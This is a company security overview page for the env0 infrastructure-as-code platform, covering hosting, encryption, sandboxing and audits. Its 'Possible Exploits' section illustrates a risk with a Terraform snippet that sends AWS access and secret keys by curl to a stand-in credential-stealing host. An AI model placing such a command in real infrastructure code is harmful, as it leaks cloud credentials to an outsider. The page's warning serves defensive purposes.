Security Overview

Our mission at env0 is to empower teams to make use of the freedom of the cloud while maintaining the governance and control needed in today's world.

For the first time ever, env0 gives teams the ability to provision and manage their own environments in the cloud, using your existing Infrastructure as Code frameworks, and adding visibility and predictability on cloud usage and cost. The core of that product is privacy and security, which is how we have architected it from the start.

As a company that takes data security and privacy very seriously, we recognize that env0's information security practices are important to you. We have provided some general information below to give you confidence in how we secure the data entrusted to us. If you have additional questions, please contact our support team.

SOC 2

env0 maintains a SOC 2 Type II Attestation covering our entire service offering.

Our latest SOC 2 Report was issued in November 2023 and is available for review upon request from your account manager.

Fortified infrastructure

We use Amazon Web Services (AWS) for all of our hosting and all infrastructure is entirely provisioned on AWS using AWS best practices.

• We maintain many AWS accounts for better security isolation and reliability guarantees.
• We maintain a separate development AWS account and environments for our engineers to test their changes before deploying to production.
• Our publicly facing listeners are our API Gateway and Cloudfront together with a WAF, which are managed by AWS.
• We also use AWS SSO with MFA enabled to manage our internal access to our AWS account.

Encryption

env0 uses only secure, encrypted protocols (HTTPS or SSH) for all networking in and out of our service, including; from the browser to our services application, from our deployment containers to your source control system, and all other points of communication.
In short, none of your code or data travels to or from env0 without being encrypted unless you have code in your builds that does so at your discretion.

The nature of env0 is that our service has access to the code you are running using env0 and whatever data that code interacts with. All deployments in env0 run in a sandbox (specifically, a Docker container) that stands alone from all other deployments and is not accessible from the Internet or from your own network.
The deployments container pulls code via git with a specific token or over SSH. Your particular deployment may call out to external services or integration points, and the response from such calls will be pulled into your deployment and used by your code at your discretion. After deployment is complete, the container that ran the deployment will be destroyed.
All sensitive variables are encrypted. Sensitive variables are encrypted and are unavailable to you or your team in the UI, logs, or via API calls, and not to env0 employees.

All customer data at rest is encrypted as we use AWS best practices to ensure that such as S3 encryption, RDS and DynamoDB.

Sandboxing

With env0 your deployments will run in a container that will pull down source code and run whatever deployment scripts that are part of the codebase or your configuration. The containers are sandboxed, each created and destroyed for one deployment only, and they are not available from outside themselves.
Our deployment containers are using node alpine as our base container.

Self-Hosted Agents

By default, your secrets and infrastructure as code runs are shared with env0's SaaS platform. While these are quite safe, and we have our SOC 2 Type II report available, you may want to go with an approach that gives you much more control over the security of your secrets and runs:

For this type of scenario, env0 supports a “hybrid” deployment mode, where we have an agent that can be hosted on your own cloud account, allowing you to store the secrets and run your infrastructure as code deployments on your cloud account, while still managing everything else on the SaaS platform. See: Docs on Installing the Self-Hosted Agent

Possible Exploits

Malicious Code Configuration in the VCS repositories

Commits on pull requests that are connected to VCS repositories will trigger a plan operation within the environment if configured. We do not perform any authentication or authorization checks against commits in linked VCS repositories, and cannot prevent malicious code configuration from exfiltrating sensitive data during plan operations. For this reason, it is important to restrict access to connected VCS repositories. PR Plans can be disabled on the environment settings page.

Malicious code execution in your Infrastructure as code

Some of the Infrastructure as code frameworks that we support (Terraform, Terragrunt, Pulumi, etc.) are using 3rd party providers and modules within the code execution, and have access to the state file or sensitive data and variables. We do not prevent any malicious 3rd party code execution from reaching this sensitive data and recommend you only use well-known and trusted 3rd party providers and modules.

In addition, some also provide a way to execute custom code using their resources, which can exploit access to sensitive data. For example, in Terraform code you can run a command to send your cloud credentials to a remote location (See example below). This also means that we can not validate or block any kind of this code execution.

resource "null_resource" "null" {
  provisioner "local-exec" {
    command = "curl https://cred-stealer.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
  }
}

Malicious code execution through custom flows

In the env0 platform, we allow execution any kind of code execution using our custom flow feature. This code execution resides in the customer VSC provider and will be triggered in the deployments according to the configuration. These code executions have access to the state files and sensitive data and variables. We don't validate or block any of those code executions during the deployment time.

Availability and Disaster Recovery

All data and infrastructure are built to be fault-tolerant and redundant using AWS best practices to ensure that. We maintain two redundant facilities across multiple regions, in an Active-Passive configuration, with the ability to rapidly failover between them in the event of a failure. We also maintain encrypted backups for all of our data.

Organizational Security

As an organization, we are committed to ensuring that your private data is never accessed by unauthorized personnel or for unauthorized reasons.

Access by technical personnel is limited only to members of the engineering team who need access for the purpose of maintaining the security and availability of the service. Members of those teams have access to the underlying systems which store and process your data and never view sensitive data which may contain company proprietary information without the approval of the customer.

We also keep audit logs provided by AWS Cloudtrail on all user administrative actions.

External Security Audits

env0 team undergoes regular penetration testing performed by respected third-party security firms, and any findings that present a risk to our environment are remediated. Our last application penetration test was performed in Nov 2023.

Allowed IP address

env0 uses those IP addresses for all the outbound requests.